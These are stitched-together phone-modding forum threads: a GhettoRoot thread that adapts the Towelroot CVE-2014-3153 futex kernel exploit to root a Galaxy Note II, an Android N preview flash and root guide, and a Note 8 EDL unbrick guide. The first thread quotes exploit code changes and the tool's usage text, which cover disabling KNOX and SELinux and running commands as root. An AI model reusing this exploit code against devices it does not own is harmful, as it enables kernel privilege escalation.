* GNU General Public License for more details. *
* *
* You should have received a copy of the GNU General Public License *
* along with GhettoRoot. If not, see <http://www.gnu.org/licenses/>. *
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *

hmmm
If I hadn't just killed my phone (perma red angry text of death) I would definitely help test. Of course you have me to thank as well. Why? Because I knew as soon as I broke my phone, or upgraded someone would come out with a root fix. So you're welcome. However there is still a good chance that the new "probably very used" replacement phone I get from Verizon will be 4.4.2 already so then I will try this out. Unless this is some sort of very cruel trick played on those of us that can't afford to upgrade our phones every other month, in which case shame on you, and I will still try it until I am blue in the face. And crying.

J_3dgar_H00v3r said:
If I hadn't just killed my phone (perma red angry text of death) I would definitely help test. Of course you have me to thank as well. Why? Because I knew as soon as I broke my phone, or upgraded someone would come out with a root fix. So you're welcome. However there is still a good chance that the new "probably very used" replacement phone I get from Verizon will be 4.4.2 already so then I will try this out. Unless this is some sort of very cruel trick played on those of us that can't afford to upgrade our phones every other month, in which case shame on you, and I will still try it until I am blue in the face. And crying.
Click to expand...
Click to collapse
Nope, not a trick! My username looks a bit dubious even to me, but it was randomly generated by KeePass.

I am getting, "error: device unauthorized. Please check the confirmation dialog on your device." I am not getting anything on my phone. Any thoughts?

Im testing this now. Will let you know in a few mins. So far, so good.
Edit: This worked like a champ for me. Root achieved. For anyone wanting to do this, please follow these steps:
Run clean.cmd
Run prepare.cmd
Run root.cmd
Do these in this order. I went ahead and added a pause to each batch (Except root.bat that already had one) to ensure everything was kicking off as expected. Sorry if this was outlined in the OP, but Im sort of a "D personality" and wont read a lot of fluff.
Thanks!

Seems to be running good here to ... some more fiddling and see how things go but I now have root on 4.4.2. Thanks
Update: no problems also Knox has NOT been tripped and no other issues.

Worked for me!
I tried this, and it worked like a charm. So far, no issues.
Thank you!!!

=D
i dont think i've been this excited since safestrap was in the works for the N2!!! cant wait to try this when i get home!!! thanks dev

I still don't have root. Not sure what went wrong. My phone restarted like it was supposed to but not root.

NetworkingPro said:
Im testing this now. Will let you know in a few mins. So far, so good.
Edit: This worked like a champ for me. Root achieved. For anyone wanting to do this, please follow these steps:
Run clean.cmd
Run prepare.cmd
Run root.cmd
Do these in this order. I went ahead and added a pause to each batch (Except root.bat that already had one) to ensure everything was kicking off as expected. Sorry if this was outlined in the OP, but Im sort of a "D personality" and wont read a lot of fluff.
Thanks!
Click to expand...
Click to collapse
Does clean.cmd wipe all data? I only ran root.cmd and the phone rebooted like it was supposed to, but Titanium Backup doesn't register my device as rooted.

Tkun said:
Does clean.cmd wipe all data? I only ran root.cmd and the phone rebooted like it was supposed to, but Titanium Backup doesn't register my device as rooted.
Click to expand...
Click to collapse
It just cleans up old root files that might have been part of previous root methods, or failed attempts.

NetworkingPro said:
It just cleans up old root files that might have been part of previous root methods, or failed attempts.
Click to expand...
Click to collapse
Thanks! Using your steps it worked and my phone is rooted!
Also, thanks OP for providing this solution! I was worried us 4.4.2 users would never again have root. I can finally backup and restore my apps again using Titanium Backup.

Tkun said:
Thanks! Using your steps it worked and my phone is rooted!
Also, thanks OP for providing this solution! I was worried us 4.4.2 users would never again have root. I can finally backup and restore my apps again using Titanium Backup.
Click to expand...
Click to collapse
Glad I could help, I went ahead and read through the source code before I did it, so had a pretty good idea of what it was doing.
---------- Post added at 10:38 PM ---------- Previous post was at 10:36 PM ----------
25yvdgpo06 said:
tl;dr: This is a modified version of [basically towelroot] to work with the Verizon Galaxy Note II (SCH-I605) VRUFND7 firmware.
Currently, a PC with the Prerequisites is required. If someone wants to package this into an APK, that's great and it may remove the PC requirement.
I'm too new to be allowed to post in the developer forums (which is probably for the best), and I don't consider myself much of a developer anyway, but with a couple sleepless nights, a little bit of determination, and a lot of sugar cereal (but not enough milk!!!!), I've modded some code based on Towelroot to get the CVE-2014-3153 exploit to work with our phone and its 3.0.31 kernel. Who knows - it might work with other phones, too, but this is the only one I have right now.
WARNINGS
YOUR MILEAGE MAY VARY. THIS WILL PROBABLY VOID YOUR WARRANTY. PLEASE BACK UP IMPORTANT FILES FIRST, JUST IN CASE AND AS A GOOD PRACTICE.
Your phone will reboot after rooting which could cause data loss if any apps are in the middle of writing data, so please close open apps and wait a few moments before rooting! If your phone is just starting up, give it some time to initialize before rooting. These recommendations should be followed prior to almost any automated reboot of your phone, but particularly when rooting.
This does not flash anything, so as far as I'm aware, it will not trip KNOX but I really don't know! It DOES try to disable KNOX, which might trip it. I don't know how any of that works.
There *shouldn't* be any problems with this, but if there are, keep in mind that you made the choice to try it, knowing it's relatively untested. As of first posting of the binary, I am the only person who has tested this.
PREREQUISITES
You will need access to a computer with the following things:
Android SDK
ADB in your PATH (in platform-tools at your Android SDK install path)
Your phone's USB drivers
USB debugging enabled
INSTRUCTIONS
Connect your phone to your computer.
Close any active applications on your phone so you don't lose data when your phone reboots. If your phone just started, give it time to initialize.
Once active apps are closed, wait 10-20 seconds or so for the phone to be done doing stuff.
With that out of the way, extract the zip file if you haven't already.
The procedure will execute immediately when running the scripts, so this is your last chance to back out! Do not proceed if you don't feel ready!
Run root.cmd on Windows, or root.sh on Linux and maybe OS X.
Allow your phone to reboot after the process, and enjoy root. Let me know if you got errors or it didn't work.
This has not happened to me (or anyone else to my knowledge, since I just released this), but if it goes into a loop trying to root and keeps failing, go ahead and CTRL-C to end it, and then close the command window. If worst comes to worst, shut off your phone or pull the battery.
QUESTIONS
Q. What's the difference between this and Towelroot, then?
A. There are a few modifications to the reverse-engineered source code of Towelroot, or at least I assume that's what the code is, since Towelroot isn't open source, as far as I know. There is a github link to that source at the top of ghettoroot.c, included in the zip file. You can do a diff comparing ghettoroot.c to the github code to see exactly what I changed.
Q. And this will get me rooted, even if I have a locked bootloader?
A. Yeah. It won't unlock your bootloader, though. If you find me some info on how the previous bootloader unlocks were found and/or what they involved, I might try to look into it...
Q. You mentioned command-line options. I tried out -? or --help and saw them but it's nearly impossible to read.
A. The help is a mess, but this usage message -- to be included in a future version -- should be more...useful.
The root.sh and root.cmd scripts should pass your arguments along to the ghettoroot binary, so where you see ghettoroot in the usage message, replace with ./root.sh (be sure to chmod +x it) or root.cmd.
Code:
Usage: ghettoroot METHOD ALIGN LIMIT_OFFSET HIT_IOV EXCLUDE_FEATURE
USERCMD USERARGV
All parameters are optional. The first non-number and following arguments
will be interpreted as the user command and user arguments.
ex. ghettoroot <-- runs with defaults, attempting to detect some settings
ghettoroot 0 1 0 4 0 <-- standard, default root for most phones.
ghettoroot mkdir /system/happyface <-- does everything, then that...
ghettoroot 0 1 0 4 7 cp /sdcard/build.prop /system/build.prop
^ copies a modified build.prop but does not permaroot, etc.
Formatting key: [Default value]PARAMETER NAME: value range: description
[0]METHOD: 0-sendmmsg, 1-recvmmsg, 2-sendmsg, 3-recvmsg:
This typically does not need to be changed.
[1]ALIGN: 0/1: attack all 8 IOVs hit with MAGIC
This behavior may/may not match up with original ALIGN behavior.
Currently, enabling this causes HIT_IOV to go unused.
[0]LIMIT_OFFSET: 0-8192: offset of addr_limit in thread_info, multiple of 4
If desperate, download manufacturer's kernel sources to check headers.
Rarely necessary, but 7380 is needed for newer Samsung phone models.
[4]HIT_IOV: 0-7: offset to rt_waiter in vulnerable futex_wait_requeue_pi.
see vulnerable futex_wait_requeue_pi function for your kernel if needed.
[0]EXCLUDE_FEATURE: 0-31: all features are enabled by default.
to disable, add up the numbers for any/all of the following features:
1 Install SuperSU
2 Disable Knox
4 Disable OTA Updates
8 SEAndroid Permissive (temporary)
16 Mount /, /system read-write (temporary)
Example values for EXCLUDE_FEATURE:
31 temp roots solely to run a user command, immediately after root.
Reboot is still required.
6 does *not* disable Knox or OTA, but installs SuperSU.
7 does *not* disable Knox or OTA updates, or install SuperSU.
Still remounts /, /system as rewrite and turns off SEAndroid.
Meant to be used with a user command, or else it is pointless.
USERCMD: Command to be run after all other enabled featuers, if any.
USERARGV: All further arguments are passed along to the user command.
I don't know how well any of those arguments are working. You shouldn't need any of them for this phone.
Q. I think ToiletRoot would have been a better name.
A. Hmm... Me too. Oh well.
CREDITS
GeoHot, developer of Towelroot, on which this is based, and without whom it would be impossible.
Chainfire, developer of SuperSU, which is bundled.
Somebody, developer/compiler of busybox, which is bundled. To be honest I don't know where it came from. It was lying around on my PC. I know, I know... just let me know if I really need to make my life revolve around fixing political issues like this and I will try.
fi01, person on Github sharing code publicly
Apologies in advance for some kind of faux pas I've made or rule I've broken. There always seems to be something(s).
Click to expand...
Click to collapse
Where did you pick this up at? I want to go ahead and rewrite it to be more efficient later tonight, but I kind of need to know where it came from?
---------- Post added at 10:39 PM ---------- Previous post was at 10:38 PM ----------
Oh well, screw it... I'll go ahead and clean it up later.

NetworkingPro said:
Glad I could help, I went ahead and read through the source code before I did it, so had a pretty good idea of what it was doing.
---------- Post added at 10:38 PM ---------- Previous post was at 10:36 PM ----------
Where did you pick this up at? I want to go ahead and rewrite it to be more efficient later tonight, but I kind of need to know where it came from?
---------- Post added at 10:39 PM ---------- Previous post was at 10:38 PM ----------
Oh well, screw it... I'll go ahead and clean it up later.
Click to expand...
Click to collapse
It is the first link at the top of ghettoroot.c, fi01's cube-towel.c page. (Every page linked in ghettoroot.c was helpful.)
I am planning to clean it up a bit myself this evening, but if someone wants to repackage the entire thing and re-post to a new thread, go for it! Or you can wait until I clean things up a little bit and then do it... Or just not. Whatever you want to do. I'm not very concerned about who gets credit for what, though a mention of my randomly-generated name might be nice.
Thanks to those who've helped others so far, and those who've shared success/failure.
EDIT: Wanted to point out that there were very few changes from fi01's original cube-towel.c code that were necessary to get the exploit itself to work. The rest is fluffy stuff, in addition to execution of useful commands once root was gained rather than being a proof-of-concept alone.
Here is *exactly* what was changed in the exploit code. Very minimal, you will see.
Setting of processor affinity added as recommended at tinyhack.com's "Exploiting the Futex Bug and uncovering Towelroot" post, and called in main():
Code:
void setaffinity()
{
pid_t pid = syscall(__NR_getpid);
int mask=1;
int syscallres = syscall(__NR_sched_setaffinity, pid, sizeof(mask), &mask);
if (syscallres)
{
printf("Error in the syscall setaffinity: mask=%d=0x%x err=%d=0x%x", mask, mask, errno, errno);
sleep(2);
printf("This could be bad, but what the heck... We'll try continuing anyway.");
sleep(2);
}
}
Change to IOV code, also using tinyhack.com recommendations:
From:
Code:
if (ph->l2 == 0) {
for (i = 0; i < 8; i++) {
msg_iov[i].iov_base = (void *)MAGIC;
msg_iov[i].iov_len = MAGIC_ALT;
}
}
else {
for (i = 0; i < 8; i++) {
msg_iov[i].iov_base = (void *)MAGIC;
msg_iov[i].iov_len = 0x10;
}
}
To:
Code:
// tbh i'm not really sure how this is supposed to look or work
// but it is working with note 2 as is with modstring 0 1 0 4
// and that is all i care about right now.
// see http://tinyhack.com/2014/07/07/exploiting-the-futex-bug-and-uncovering-towelroot/
for (i = 0; i < 8; i++) {
iov[i].iov_base = (void *)MAGIC;
if (ph->align == 0) {
if (i==ph->hit_iov) {
iov[i].iov_len = MAGIC_ALT;
}
else {
iov[i].iov_len = 0x10;
}
}
else {
iov[i].iov_len = MAGIC_ALT;
}
}
When searching through task structures for a credential to overwrite (to get us root), verify that the credential is in kernel address space, the same way the other pointers are verified. Otherwise, we're not in the right place in memory yet...
From:
Code:
if (task->cpu_timers[0].next == task->cpu_timers[0].prev && (unsigned long)task->cpu_timers[0].next > KERNEL_START
&& task->cpu_timers[1].next == task->cpu_timers[1].prev && (unsigned long)task->cpu_timers[1].next > KERNEL_START
&& task->cpu_timers[2].next == task->cpu_timers[2].prev && (unsigned long)task->cpu_timers[2].next > KERNEL_START
&& task->real_cred == task->cred) {
To:
Code:
if (task->cpu_timers[0].next == task->cpu_timers[0].prev && (unsigned long)task->cpu_timers[0].next > KERNEL_START
&& task->cpu_timers[1].next == task->cpu_timers[1].prev && (unsigned long)task->cpu_timers[1].next > KERNEL_START
&& task->cpu_timers[2].next == task->cpu_timers[2].prev && (unsigned long)task->cpu_timers[2].next > KERNEL_START
&& task->real_cred == task->cred && (unsigned long)task->cred > KERNEL_START) {
That's all that needed to be changed, keeping in mind none of us have seen the actual towelroot source code so some of these things may not even be necessary or may already be present there, leaving it up in the air why towelroot doesn't work for us. I would guess the IOVs were the issue, somehow, but at least with this code, the credential needed to be checked to be in kernel space as well. Did not test without setaffinity.

Droc1983 said:
I still don't have root. Not sure what went wrong. My phone restarted like it was supposed to but not root.
Click to expand...
Click to collapse
I had to Uninstall towel root apk. Now I have root access. Thank you.

My apologies...
alkitchen said:
I am getting, "error: device unauthorized. Please check the confirmation dialog on your device." I am not getting anything on my phone. Any thoughts?
Click to expand...
Click to collapse
My apologies, disregard my post... I ran it again this evening and it WORKED!! Thanks so much.
Now to try Safestrap...

25yvdgpo06 said:
It is the first link at the top of ghettoroot.c, fi01's cube-towel.c page. (Every page linked in ghettoroot.c was helpful.)
I am planning to clean it up a bit myself this evening, but if someone wants to repackage the entire thing and re-post to a new thread, go for it! Or you can wait until I clean things up a little bit and then do it... Or just not. Whatever you want to do. I'm not very concerned about who gets credit for what, though a mention of my randomly-generated name might be nice.
Thanks to those who've helped others so far, and those who've shared success/failure.
EDIT: Wanted to point out that there were very few changes from fi01's original cube-towel.c code that were necessary to get the exploit itself to work. The rest is fluffy stuff, in addition to execution of useful commands once root was gained rather than being a proof-of-concept alone.
Here is *exactly* what was changed in the exploit code. Very minimal, you will see.
Setting of processor affinity added as recommended at tinyhack.com's "Exploiting the Futex Bug and uncovering Towelroot" post, and called in main():
Code:
void setaffinity()
{
pid_t pid = syscall(__NR_getpid);
int mask=1;
int syscallres = syscall(__NR_sched_setaffinity, pid, sizeof(mask), &mask);
if (syscallres)
{
printf("Error in the syscall setaffinity: mask=%d=0x%x err=%d=0x%x", mask, mask, errno, errno);
sleep(2);
printf("This could be bad, but what the heck... We'll try continuing anyway.");
sleep(2);
}
}
Change to IOV code, also using tinyhack.com recommendations:
From:
Code:
if (ph->l2 == 0) {
for (i = 0; i < 8; i++) {
msg_iov[i].iov_base = (void *)MAGIC;
msg_iov[i].iov_len = MAGIC_ALT;
}
}
else {
for (i = 0; i < 8; i++) {
msg_iov[i].iov_base = (void *)MAGIC;
msg_iov[i].iov_len = 0x10;
}
}
To:
Code:
// tbh i'm not really sure how this is supposed to look or work
// but it is working with note 2 as is with modstring 0 1 0 4
// and that is all i care about right now.
// see http://tinyhack.com/2014/07/07/exploiting-the-futex-bug-and-uncovering-towelroot/
for (i = 0; i < 8; i++) {
iov[i].iov_base = (void *)MAGIC;
if (ph->align == 0) {
if (i==ph->hit_iov) {
iov[i].iov_len = MAGIC_ALT;
}
else {
iov[i].iov_len = 0x10;
}
}
else {
iov[i].iov_len = MAGIC_ALT;
}
}
When searching through task structures for a credential to overwrite (to get us root), verify that the credential is in kernel address space, the same way the other pointers are verified. Otherwise, we're not in the right place in memory yet...
From:
Code:
if (task->cpu_timers[0].next == task->cpu_timers[0].prev && (unsigned long)task->cpu_timers[0].next > KERNEL_START
&& task->cpu_timers[1].next == task->cpu_timers[1].prev && (unsigned long)task->cpu_timers[1].next > KERNEL_START
&& task->cpu_timers[2].next == task->cpu_timers[2].prev && (unsigned long)task->cpu_timers[2].next > KERNEL_START
&& task->real_cred == task->cred) {
To:
Code:
if (task->cpu_timers[0].next == task->cpu_timers[0].prev && (unsigned long)task->cpu_timers[0].next > KERNEL_START
&& task->cpu_timers[1].next == task->cpu_timers[1].prev && (unsigned long)task->cpu_timers[1].next > KERNEL_START
&& task->cpu_timers[2].next == task->cpu_timers[2].prev && (unsigned long)task->cpu_timers[2].next > KERNEL_START
&& task->real_cred == task->cred && (unsigned long)task->cred > KERNEL_START) {
That's all that needed to be changed, keeping in mind none of us have seen the actual towelroot source code so some of these things may not even be necessary or may already be present there, leaving it up in the air why towelroot doesn't work for us. I would guess the IOVs were the issue, somehow, but at least with this code, the credential needed to be checked to be in kernel space as well. Did not test without setaffinity.
Click to expand...
Click to collapse
I'll wait til you clean it up and then repackage. I don't care about credit either. I'll pm you my gtalk shortly.

I would like to try this. I have downloaded the SDK, however I do not have any idea what the ADB step means. Basically, I have no idea what I am doing and would appreciate a little help as far as making sure I have everything that needs downloaded. Thanks.
edit: Got it figured out!

Having trouble with safestrap. I installed apk and ran install recovery and grant root access but it says recovery not installed in the app.

Not working...
I'm seeing:
Unable to chmod /data/local/tmp/busybox: no such file or directory
sh: /data/local/tmp/busybox: not found
Could not find/unzip SuperSU: Success
Please place an UPDATE-SU-*.zip file in the mail folder before running the install script
Click to expand...
Click to collapse
Any help would be appreciated.

How to switch to Android N preview, [FLASH GUIDE, RESTORING BACKUPS, & MORE]

Before I get into this guide I am going to start off with a disclaimer. If you break or harm your device. Or make it unbootable. This is not my fault, and you understand that you are doing this at your OWN RISK.
Now let's get into the guide!
Tip for Section Number #1: If you are having trouble using the windows file explorer or any other OS, use Sync by BitTorrent and sync files to your computer, I am not promoting the app for any self gain, just a suggestion
NOTICE: ROOTING THE N PREVIEW IS ONLY POSSIBLE USING A DECRYPTED DEVICE FROM MY KNOWLEDGE
This will be separated into sections. As listed below:
Installing Android N with working TWRP
Rooting Android N Preview
Enabling Permissive SELinux without a instant reboot
More may be added in the future!
Installing Android N with a working TWRP
Easier method :
If you have Marshmallow already installed, you can enroll your device for a OTA of Android N Developer Preview. Or you can install Marshmallow and then do the same.
Longer method :
Backup all your userdata files (I MEAN EVERYTHING!) this will erase all of your files if you want a working TWRP.
1. Download the Android N .tgz file for your device from here -=OPTIONAL=-Download the modifed boot image with decryption on boot disabled for your Preview version here
2. Decompress/extract every file. (the main file and the image directory) I would recommend having all of them in the same folder
3. Make sure you have fastboot, then open a terminal/command prompt in that folder - Shift + right click in windows then open command prompt here
4. MAKE SURE YOU HAVE YOUR DATA BACKED UP, THIS IS NECESSARY IF YOU WANT TO KEEP YOUR FILES AND HAVING A WORKING TWRP - optional
5. Boot your device into the bootloader, power down your phone (this is for nexus 6p) and hold the power button + volume down until you see a Android figure laying down
6. Do the following commands in a terminal with fastboot installed - this is inferring you have a unlocked bootloader
fastboot flash bootloader bootloader.img
fastboot reboot-bootloader
fastboot flash radio radio.img
fastboot reboot-bootloader
fastboot flash vendor vendor.img
fastboot reboot-bootloader
fastboot flash system system.img
fastboot flash boot boot.img - the modified one you downloaded, if you did.
fastboot flash recovery twrp-xxxxx-angler
fastboot format cache
fastboot flash cache cache.img
-=OPTIONAL, FOR DECRYPTION AND WORKING TWRP=-:fastboot format userdata - do not flash the userdata.img unless you have a 32gb Nexus 6P.
fastboot reboot
Now, once the device boots. Set it up and go to Settings>Security and under encryption if you want a working TWRP, it should say Decrypt phone. If not, look back and see if you did a step wrong.
Rooting Android N Preview xx
1. Download the latest BETA of SuperSU - or anything above 1.74. BETA onto your device's sdcard directory. (otherwise known as /storage/emulated/0/)
2. Reboot your device to TWRP by powering off your device, then holding the power button + volume down. Once in the bootloader, tap the volume down button until you land on Recovery. Then press the power button.
3. Go to the install section, and flash your SuperSU zip.
4. Reboot, it may reboot a few times. Let the device run it's course until it lands at the lockscreen, this is important.
Enabling a permissive SELinux without a instant reboot
Follow the guide here
In other words, download the logd file and copy and paste it to /system/bin/ then replace the other file after backing it up.
Then do
setenforce 0
in a terminal with root access on your device and then do getenforce to check if it's working.
This enables you to restore backups using Titanium backup, as it doesn't work without doing this.
Credits
Credit for SuperSU goes to @Chainfire
Credit for the modified boot.img goes to @Tigerstown
Credit for getting Permissive SELinux to work on Android N goes to @gubacsek
I do not take credit for any of the downloaded content, all of the downloaded files goes to their original creators.
PM me if anything is wrong, or edit this post!
Mods, if this post is in the wrong place. Move it to the correct place please!
Happy modding of your Nexus 6P on Android N Preview!

Isn't this the same guide as this: http://forum.xda-developers.com/showthread.php?t=3206928 ?
Sent from my Nexus 6P using XDA-Developers mobile app

johnhazelwood said:
Isn't this the same guide as this: http://forum.xda-developers.com/showthread.php?t=3206928 ?
Sent from my Nexus 6P using XDA-Developers mobile app
Click to expand...
Click to collapse
Yes, in some ways. But this thread is all the information from around XDA put in one place. As I haven't found a thread with the information put together like this.

Yeah, I agree. I had to hunt through several threads to find this when I updated both my 6P's to N the other day. I knew the info was out there, but was a PITA to find. Too bad you didn't put this thread up 3 days ago when I needed it LOL.

Just a quick FYI, it is possible to run rooted N with encryption. I just wrote a guide on how to do it: http://forum.xda-developers.com/nexus-6p/general/guide-android-nougat-developer-preview-t3410906

Bump

Great guise. Might use this later to finally flash android N. I just wished that xposed worked with Android N.

TnT_ said:
This enables you to restore backups using Titanium backup, as it doesn't work without doing this.
Click to expand...
Click to collapse
If you don't like to disable SELinux, you can simply change SELinux's policy using supolicy. Execute the following commands in the terminal:
Code:
supolicy --live "allow system_app shell_data_file dir { search read write }"
supolicy --live "allow system_app dalvikcache_data_file dir { write read add_name remove_name }"
supolicy --live "allow system_app dalvikcache_data_file file { create }"
supolicy --live "allow system_app shell_data_file file { read open write }"
The following commands are needed for AdAway (busybox required):
Code:
supolicy --live "allow untrusted_app system_data_file file { read write }"
supolicy --live "allow shell dalvikcache_data_file dir { read write }"
supolicy --live "allow shell shell capability { dac_override }"
supolicy --live "allow shell dalvikcache_data_file dir { write remove_name add_name }"
supolicy --live "allow shell dalvikcache_data_file file { create write read open }"

This doesnt work for me. I tried twice. I even tried the modified boot.img. both times it says in security encrypted phone. What do I do?

XAL2 said:
This doesnt work for me. I tried twice. I even tried the modified boot.img. both times it says in security encrypted phone. What do I do?
Click to expand...
Click to collapse
@XAL2 you don't need to be decrypted - scroll up to my last post in the thread and follow the instructions there to get N and keep encryption.

asj0422 said:
@XAL2 you don't need to be decrypted - scroll up to my last post in the thread and follow the instructions there to get N and keep encryption.
Click to expand...
Click to collapse
So do I have to flash back to Marshmallow stock then try to reflash N? Or do I just go into the bootloader and reflash the M vendor image flash twrp, boot into it flash super su, and then reflash the N vendor and reboot?

Can you dirty flash (wipe cache) N over M? My device is running a stock image + root + busybox, TWRP, encrypted. Can I just flash everything over (without recovery) via fastboot, root via TWRP, and be done with it?

XAL2 said:
So do I have to flash back to Marshmallow stock then try to reflash N? Or do I just go into the bootloader and reflash the M vendor image flash twrp, boot into it flash super su, and then reflash the N vendor and reboot?
Click to expand...
Click to collapse
That sounds like it would work to me - although I don't think you have to flash the M vendor image before you flash the recovery, you just can't have the N vendor image when you try to use twrp.
---------- Post added at 08:12 PM ---------- Previous post was at 08:07 PM ----------
vostok4 said:
Can you dirty flash (wipe cache) N over M? My device is running a stock image + root + busybox, TWRP, encrypted. Can I just flash everything over (without recovery) via fastboot, root via TWRP, and be done with it?
Click to expand...
Click to collapse
Technically, yes - check out this guide I wrote, it's actually for your exact scenario. The issue is that twrp doesn't play nice with N, but if you wait on the vendor image before you use twrp, you're good to go.
http://forum.xda-developers.com/nexus-6p/general/guide-android-nougat-developer-preview-t3410906

Thank you, that worked perfectly!

Note 8 N950U QDL9008 / EDL Mode - Unbrick Rom is HERE

This is not for soft bricked devices.
This is for hard bricked devices that cant go into recovery or download mode.
This is for devices on the Version 2 Bootloader like samfail v2 or any normal V2 bootloader.
It may work on other bootloader versions with some modification.
If you have a hard bricked device let me know and I will help you test this.
I don't want to just post the files and have people cause bricks by flashing this to non-v2 bootloaders.
People with other versions of the bootloader and a bricked device let me know and we will test some things.
If you need this let me know and we will do some testing.

How to Unbrick
First you need to install the drivers for QDL.
Option A is to install QPST.
I think then the drivers will automatically install in windows when you connect a device in edl mode.
Or you can manually choose the driver to install if you know how.
I will upload both.
Get the device in EDL mode.
It might go automaticall (hopefully).
If not you need a EDL Cabel or Deep Flash Cable.
Theres instruction around how to make one.
After device is in edl mode and connected to the computer open windows device manager.
Under Ports you should see .
https://photos.app.goo.gl/ibD8KYy9GVQFvJheA
I doubt you will see Portable Devices. I have it because of a special sd card.
After you see Qualcomm-HS-USB QDloader under ports your ready to unbrick.
Copy the N950U2 FOLDER TO C:\ ON YOUR COMPUTER.
Open command prompt as administrator.
In search bar in windows type cmd
Right click on command prompt and run as administrator.
cd to the n950u folder
Code:
cd c:\N950U2
https://photos.app.goo.gl/VzJjwsU6NWLdyDCc6
type
Code:
N950U2_Recovery.bat
You should get this window.
https://photos.app.goo.gl/F7hcuPCCqrci9A1KA
type the com port of your edl device and hit enter.
Be sure to copy the log in the terminal window and save it to share with us later.
Heres the files.
https://www.mediafire.com/file/9bb4vgx1kmir4gz/QPST.2.7.472_2018.zip/file
https://www.mediafire.com/file/eo9wcbtdle1xsc8/Qualcomm_Drivers_QDLoader.zip/file
https://www.mediafire.com/file/dfzy3zo8ibrh1p7/Unbrick-Samsung-Qualcom-9008-Files.zip/file
After the flash completes the phone should boot to download mode.
If not try to boot it to download mode.
Look at secure boot status and all of that when you boot to download mode.
If you dont see it power the device off then reboot into download mode again.
Were looking for any change in the bootloader status.
Maybe the edl bootloader is unlocked.
After that its just normal flash by ODIN back to whater you were on.
PLEASE REPORT BACK YOUR EXPERIENCE WHEN YOU DO THIS.
Note I had screenshots but there not showing. Ill try to fix them. Just Click the links for now.

link not working
can you redo the link for the last download please

lilbowza1985 said:
can you redo the link for the last download please
Click to expand...
Click to collapse
All links are working for me.
If you are going to flash the EDL let me know.
I would be grateful to help you see what the state of the edl bootloader is.
Possibly unlockable!!

Please update to BL v5 if possible.
Hey I just gave it a shot to the steps and it did not work. I think maybe because my n8 has a higher BL version, I think v5 actually. Thanks for the post. Hope you could help out updating the recovery to a BL v5. Here are the logs I got.
Input Port Number[1~300,x:Exit]:10
10
Start Recovery.
emmcdl.exe -p COM10 -f prog_ufs_firehose_8998_ddr.elf -MemoryName ufs -SetActivePartition 1 -x rawprogram0.xml -x rawprogram1.xml -x rawprogram2.xml -x rawprogram3.xml
Version 2.10
Downloading flash programmer: prog_ufs_firehose_8998_ddr.elf
Successfully open flash programmer to write: prog_ufs_firehose_8998_ddr.elf
Expecting SAHARA_END_TRANSFER but found: 0
!!!!!!!! WARNING: Flash programmer failed to load trying to continue !!!!!!!!!

Programming UFS device using SECTOR_SIZE=4096
<?xml version = "1.0" ?><data><configure MemoryName="ufs" ZLPAwareHost="1" SkipStorageInit="0" SkipWrite="0" MaxPayloadSizeToTargetInBytes="1048576"/></data>

ERROR: No response to configure packet
Status: 21 The device is not ready.
Finish!!

I got the same error,
I got the same error.......

Can i use this for g892u rev 3

BigCountry907 said:
All links are working for me.
If you are going to flash the EDL let me know.
I would be grateful to help you see what the state of the edl bootloader is.
Possibly unlockable!!
Click to expand...
Click to collapse
my phone cant turn on,i cant go to recovery mode and download mode,what i must do?
plz help

qban-it-solution said:
Hey I just gave it a shot to the steps and it did not work. I think maybe because my n8 has a higher BL version, I think v5 actually. Thanks for the post. Hope you could help out updating the recovery to a BL v5. Here are the logs I got.
Input Port Number[1~300,x:Exit]:10
10
Start Recovery.
emmcdl.exe -p COM10 -f prog_ufs_firehose_8998_ddr.elf -MemoryName ufs -SetActivePartition 1 -x rawprogram0.xml -x rawprogram1.xml -x rawprogram2.xml -x rawprogram3.xml
Version 2.10
Downloading flash programmer: prog_ufs_firehose_8998_ddr.elf
Successfully open flash programmer to write: prog_ufs_firehose_8998_ddr.elf
Expecting SAHARA_END_TRANSFER but found: 0
!!!!!!!! WARNING: Flash programmer failed to load trying to continue !!!!!!!!!

Programming UFS device using SECTOR_SIZE=4096
<?xml version = "1.0" ?><data><configure MemoryName="ufs" ZLPAwareHost="1" SkipStorageInit="0" SkipWrite="0" MaxPayloadSizeToTargetInBytes="1048576"/></data>

ERROR: No response to configure packet
Status: 21 The device is not ready.
Finish!!
Click to expand...
Click to collapse
i have same problem..

Note 8 Bricked after using COMBINATION_FA71_N950USQU5ARJ1_CL13942288_QB203914 89_REV00
seansha said:
i have same problem..
Click to expand...
Click to collapse
Did you get an answer? I can't find a firmware that will work! I'm totally bricked
I flashed this:
COMBINATION_FA71_N950USQU5ARJ1_CL13942288_QB20391489_REV00_user_mid_noship_MULTI_CERT.tar
And i was bricked after.

m4r20 said:
Did you get an answer? I can't find a firmware that will work! I'm totally bricked
I flashed this:
COMBINATION_FA71_N950USQU5ARJ1_CL13942288_QB20391489_REV00_user_mid_noship_MULTI_CERT.tar
And i was bricked after.
Click to expand...
Click to collapse
I am having the same problem and I was working off of the guide to install EDL and Root the Phone Here: https://forum.xda-developers.com/galaxy-note-8/development/root-t3942403
I have been searching for a way to resolve the same behavior and found this post. I noticed the original Guide I followed did not have me install any Qualcomm drivers, I am HOPING to do so using the ones provided here may fix things.
I am also not really happy with the CMD script they used in both this and the other method, it makes the process harder by using a setp to pause at the end instead of a pause or something obvious and by setting the max lines on the CONsole to 40 which over-flowed my screen, so I had to comment it out. Also not sure why they didn't just list the ports in a menu and have you choose or try to guess for you based off how they get it. But thats just somme griping.
I am HOPINNG that the FACTORY BINARY >>>>>> screen I get to in my phone is "EDL" it's unclear to me from the info on these sites, rooting guides have continued to become less clear over the years assuming everyone knows every step like the back of their hands.

im stuck here too. its like I have no bootloader, and I cant flash. no download mode, no recovery. No light when I plug it in to charge...just upload mode. the phone was on BL 6.

Bricked here as well...Same error with failed to load flash programmer..Still stabbing at it with no results as of yet.

please keep me in the loop
Surgeman said:
Bricked here as well...Same error with failed to load flash programmer..Still stabbing at it with no results as of yet.
Click to expand...
Click to collapse

A lot of people don't listen or read anything and @BigCountry907 specifically said this is for bootloader version 2 and it might work for others with "SOME MODIFICATION" but anyone with common sense would know this isn't going to work on version 5 of the bootloader!!

MrMike2182 said:
A lot of people don't listen or read anything and @BigCountry907 specifically said this is for bootloader version 2 and it might work for others with "SOME MODIFICATION" but anyone with common sense would know this isn't going to work on version 5 of the bootloader!!
Click to expand...
Click to collapse
I beg the differ....I have actually got it to flash using the old bootloader jig for the older Notes..But it won't repair the eMMC portion...

@MrMike
Check PM
Sent from my SM-N975U using Tapatalk

My phone is currently the same. If only I could get into edl mode, it would be fixed. But I don't know how to get into edl mode using only hardware

